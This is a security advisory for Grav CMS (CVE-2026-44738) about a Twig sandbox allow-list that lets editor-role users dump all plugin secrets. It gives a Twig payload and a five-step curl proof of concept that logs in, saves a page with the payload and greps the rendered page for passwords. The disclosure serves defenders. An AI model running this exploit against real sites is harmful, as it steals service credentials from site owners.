GHSA-j274-39qw-32c9

Suggest an improvement
Source
https://github.com/advisories/GHSA-j274-39qw-32c9
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-j274-39qw-32c9/GHSA-j274-39qw-32c9.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-j274-39qw-32c9
Aliases
  • CVE-2026-44738
Published
2026-05-13T15:29:40Z
Modified
2026-05-13T15:50:06.267203Z
Severity
  • 7.7 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N CVSS Calculator
Summary
Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray()
Details

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

- class: 'Grav\Common\Config\Config'
  methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins.* — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

$twig_vars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|json_encode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/*.yaml.

PoC

# Step 1 — Get login nonce
NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \
  | grep -oP '(?<=name="login-nonce" value=")[^"]+')

# Step 2 — Login as editor (no admin.super)
curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST http://TARGET/admin \
  --data-urlencode "data[username]=EDITOR_USER" \
  --data-urlencode "data[password]=EDITOR_PASS" \
  --data-urlencode "task=login" \
  --data-urlencode "login-nonce=${NONCE}" -o /dev/null

# Step 3 — Get admin nonce
ADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \
  | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

# Step 4 — Save page with process.twig:true and payload
curl -s -b /tmp/cookies.txt \
  -X POST http://TARGET/admin/pages/poc \
  --data-urlencode "admin-nonce=${ADMIN_NONCE}" \
  --data-urlencode "task=save" \
  --data-urlencode "data[frontmatter]=title: poc
process:
    twig: true
published: true" \
  --data-urlencode "data[content]={{ config.toArray()|json_encode|raw }}" \
  --data-urlencode "data[folder]=poc" \
  --data-urlencode "data[route]=/" \
  --data-urlencode "data[name]=default" -o /dev/null

# Step 5 — Retrieve secrets from rendered page
curl -s http://TARGET/poc | grep -o '"password":"[^"]*"'

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.

Database specific 
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:29:40Z",
    "nvd_published_at": "2026-05-11T17:16:34Z",
    "severity": "HIGH",
    "cwe_ids": [
        "CWE-200"
    ]
}
References

Affected packages

Packagist / getgrav/grav

Package

Name
getgrav/grav
Purl
pkg:composer/getgrav/grav

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.0.0-rc.2

Affected versions

0.*
0.8.0
0.9.0
0.9.1
0.9.2
0.9.3
0.9.4
0.9.5
0.9.6
0.9.7
0.9.8
0.9.9
0.9.10
0.9.11
0.9.12
0.9.13
0.9.14
0.9.15
0.9.16
0.9.17
0.9.18
0.9.19
0.9.20
0.9.21
0.9.22
0.9.23
0.9.24
0.9.25
0.9.26
0.9.27
0.9.28
0.9.29
0.9.30
0.9.31
0.9.32
0.9.33
0.9.34
0.9.35
0.9.36
0.9.37
0.9.38
0.9.39
0.9.40
0.9.41
0.9.42
0.9.43
0.9.44
0.9.45
1.*
1.0.0-rc.1
1.0.0-rc.2
1.0.0-rc.3
1.0.0-rc.4
1.0.0-rc.5
1.0.0-rc.6
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.0.10
1.1.0-beta.1
1.1.0-beta.2
1.1.0-beta.3
1.1.0-beta.4
1.1.0-beta.5
1.1.0-rc.1
1.1.0-rc.2
1.1.0-rc.3
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.6
1.1.7
1.1.8
1.1.9-rc.1
1.1.9-rc.2
1.1.9-rc.3
1.1.9
1.1.10
1.1.11
1.1.12
1.1.13
1.1.14
1.1.15
1.1.16
1.1.17
1.2.0-rc.1
1.2.0-rc.2
1.2.0-rc.3
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.3.0-rc.1
1.3.0-rc.2
1.3.0-rc.3
1.3.0-rc.4
1.3.0-rc.5
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.3.6
1.3.7
1.3.8
1.3.9
1.3.10
1.4.0-beta.1
1.4.0-beta.2
1.4.0-beta.3
1.4.0-rc.1
1.4.0-rc.2
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8
1.5.0-beta.1
1.5.0-beta.2
1.5.0-rc.1
1.5.0
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5
1.5.6
1.5.7
1.5.8
1.5.9
1.5.10
1.6.0-beta.1
1.6.0-beta.2
1.6.0-beta.3
1.6.0-beta.4
1.6.0-beta.5
1.6.0-beta.6
1.6.0-beta.7
1.6.0-beta.8
1.6.0-rc.1
1.6.0-rc.2
1.6.0-rc.3
1.6.0-rc.4
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.9
1.6.10
1.6.11
1.6.12
1.6.13
1.6.14
1.6.15
1.6.16
1.6.17
1.6.18
1.6.19
1.6.20
1.6.21
1.6.22
1.6.23
1.6.24
1.6.25
1.6.26
1.6.27
1.6.28
1.6.29
1.6.30
1.6.31
1.7.0-beta.1
1.7.0-beta.2
1.7.0-beta.3
1.7.0-beta.4
1.7.0-beta.5
1.7.0-beta.6
1.7.0-beta.7
1.7.0-beta.8
1.7.0-beta.9
1.7.0-beta.10
1.7.0-rc.1
1.7.0-rc.2
1.7.0-rc.3
1.7.0-rc.4
1.7.0-rc.5
1.7.0-rc.6
1.7.0-rc.7
1.7.0-rc.8
1.7.0-rc.9
1.7.0-rc.10
1.7.0-rc.11
1.7.0-rc.12
1.7.0-rc.13
1.7.0-rc.14
1.7.0-rc.15
1.7.0-rc.16
1.7.0-rc.17
1.7.0-rc.18
1.7.0-rc.19
1.7.0-rc.20
1.7.0
1.7.1
1.7.3
1.7.4
1.7.5
1.7.6
1.7.7
1.7.8
1.7.9
1.7.10
1.7.12
1.7.13
1.7.14
1.7.15
1.7.16
1.7.17
1.7.18
1.7.19
1.7.20
1.7.21
1.7.22
1.7.23
1.7.24
1.7.25
1.7.26
1.7.26.1
1.7.27
1.7.27.1
1.7.28
1.7.29
1.7.29.1
1.7.30
1.7.31
1.7.32
1.7.33
1.7.34
1.7.35
1.7.36
1.7.37
1.7.37.1
1.7.38
1.7.39
1.7.39.1
1.7.39.2
1.7.39.3
1.7.39.4
1.7.40
1.7.41
1.7.41.1
1.7.41.2
1.7.42
1.7.42.1
1.7.42.2
1.7.42.3
1.7.43
1.7.44
1.7.45
1.7.46
1.7.47
1.7.48
1.7.49
1.7.49.1
1.7.49.2
1.7.49.3
1.7.49.4
1.7.49.5
1.7.51
1.7.52
1.8.0-beta.1
1.8.0-beta.2
1.8.0-beta.3
1.8.0-beta.4
1.8.0-beta.5
1.8.0-beta.6
1.8.0-beta.7
1.8.0-beta.8
1.8.0-beta.9
1.8.0-beta.10
1.8.0-beta.11
1.8.0-beta.12
1.8.0-beta.13
1.8.0-beta.14
1.8.0-beta.15
1.8.0-beta.16
1.8.0-beta.17
1.8.0-beta.18
1.8.0-beta.19
1.8.0-beta.20
1.8.0-beta.21
1.8.0-beta.22
1.8.0-beta.23
1.8.0-beta.24
1.8.0-beta.25
1.8.0-beta.26
1.8.0-beta.27
1.8.0-beta.28
1.8.0-beta.29
2.*
2.0.0-beta.1
2.0.0-beta.2
2.0.0-beta.3
2.0.0-beta.4
2.0.0-rc.1

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-j274-39qw-32c9/GHSA-j274-39qw-32c9.json"
last_known_affected_version_range 
"<= 2.0.0-rc.1"